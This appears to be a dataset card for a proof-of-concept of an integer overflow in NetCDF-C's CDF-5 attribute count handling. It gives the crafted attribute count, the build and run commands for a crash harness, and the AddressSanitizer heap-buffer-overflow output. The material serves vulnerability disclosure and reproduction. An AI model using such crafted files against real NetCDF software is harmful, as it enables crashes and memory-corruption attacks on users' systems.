Dataset Viewer
The dataset viewer is not available because its heuristics could not detect any supported data files. You can try uploading some data files, or configuring the data files location manually.
YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
PoC: NetCDF-C CDF-5 Attribute Count Integer Overflow (heap-buffer-overflow READ)
Files
malicious_cdf5_attr.nc— Malicious CDF-5 file (72 bytes) withgatt_count = 0x2000000000000001harness.c— Self-contained C harness that creates the malicious file and triggers the crash
Vulnerability
Integer overflow in v1hpg.c:894 — malloc(ncap->nelems * sizeof(NC_attr *)) has no overflow check (dimensions and variables DO have this check). The multiplication wraps to 8, creating a 1-slot buffer. Post-open attribute queries use integer counters that iterate past the buffer boundary.
Reproduce
git clone https://github.com/Unidata/netcdf-c.git
cd netcdf-c && mkdir build && cd build
cmake .. \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \
-DNETCDF_ENABLE_HDF5=OFF -DNETCDF_ENABLE_NETCDF_4=OFF \
-DNETCDF_ENABLE_DAP=OFF -DNETCDF_ENABLE_NCZARR=OFF \
-DBUILD_SHARED_LIBS=OFF
make -j$(nproc)
gcc -fsanitize=address -fno-omit-frame-pointer -g -O0 \
-I . -I ../include harness.c -L . -lnetcdf -lm -ldl -lpthread -o harness
ASAN_OPTIONS=detect_leaks=0 ./harness
Expected output
nc_open succeeded with corrupted nelems
=================================================================
ERROR: AddressSanitizer: heap-buffer-overflow on address ...
READ of size 8 at ... thread T0
#0 NC_findattr attr.c:369
...
0x... is located 0 bytes after 8-byte region
allocated by thread T0 here:
#0 malloc
#1 v1h_get_NC_attrarray v1hpg.c:894
Without ASAN: SIGSEGV (exit code 139).
- Downloads last month
- 31